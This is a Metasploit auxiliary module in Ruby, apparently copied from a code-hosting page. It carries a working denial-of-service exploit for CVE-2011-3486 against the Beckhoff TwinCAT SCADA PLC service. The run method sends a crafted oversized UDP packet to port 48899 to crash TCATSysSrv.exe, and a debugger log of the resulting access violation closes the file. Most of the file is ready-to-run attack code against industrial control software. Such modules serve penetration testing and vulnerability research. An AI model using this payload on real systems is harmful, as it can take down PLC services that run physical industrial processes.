76 lines
2.3 KiB
Ruby
76 lines
2.3 KiB
Ruby
|
##
|
||
|
|
# $Id$
|
||
|
|
##
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::Udp
|
||
|
|
include Msf::Auxiliary::Dos
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS',
|
||
|
|
'Description' => %q{
|
||
|
|
The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending
|
||
|
|
a crafted UDP packet to port 48899 (TCATSysSrv.exe).
|
||
|
|
},
|
||
|
|
'Author' =>
|
||
|
|
[
|
||
|
|
'Luigi Auriemma', # Public exploit
|
||
|
|
'jfa', # Metasploit module
|
||
|
|
],
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'CVE', '2011-3486' ],
|
||
|
|
[ 'OSVDB', '75495' ],
|
||
|
|
[ 'URL', 'http://aluigi.altervista.org/adv/twincat_1-adv.txt' ]
|
||
|
|
],
|
||
|
|
'DisclosureDate' => 'Sep 13 2011'
|
||
|
|
))
|
||
|
|
|
||
|
|
register_options([Opt::RPORT(48899)])
|
||
|
|
end
|
||
|
|
|
||
|
|
def run
|
||
|
|
dos = "\x03\x66\x14\x71" + "\x00"*16 + "\xff"*1514
|
||
|
|
connect_udp
|
||
|
|
print_status("Sending DoS packet ...")
|
||
|
|
udp_sock.put(dos)
|
||
|
|
disconnect_udp
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
=begin
|
||
|
|
0:017> g
|
||
|
|
(4d4.850): Access violation - code c0000005 (first chance)
|
||
|
|
First chance exceptions are reported before any exception handling.
|
||
|
|
This exception may be expected and handled.
|
||
|
|
eax=02a1f9cf ebx=0037c0a8 ecx=02a0f9cc edx=ffffffff esi=02a0f9b4 edi=00000001
|
||
|
|
eip=00414f6a esp=02a0f7bc ebp=0000ffff iopl=0 nv up ei pl nz ac po cy
|
||
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
|
||
|
|
*** ERROR: Module load completed but symbols could not be loaded for C:\TwinCAT\TCATSysSrv.exe
|
||
|
|
TCATSysSrv+0x14f6a:
|
||
|
|
00414f6a 66833802 cmp word ptr [eax],2 ds:0023:02a1f9cf=????
|
||
|
|
0:016> k
|
||
|
|
ChildEBP RetAddr
|
||
|
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||
|
|
02a0f7f8 71ab265b TCATSysSrv+0x14f6a
|
||
|
|
02a0f80c 71ab4a9e WS2_32!Prolog_v1+0x21
|
||
|
|
02a0f834 7c90df3c WS2_32!WPUQueryBlockingCallback+0x1b
|
||
|
|
02a0f880 71a5332f ntdll!NtWaitForSingleObject+0xc
|
||
|
|
02a0f8f4 71abf6e7 mswsock!WSPRecvFrom+0x35c
|
||
|
|
02a0f938 71ad303a WS2_32!WSARecvFrom+0x7d
|
||
|
|
02a0f96c 00414b92 WSOCK32!recvfrom+0x39
|
||
|
|
02a0f988 00000000 TCATSysSrv+0x14b92
|
||
|
|
=end
|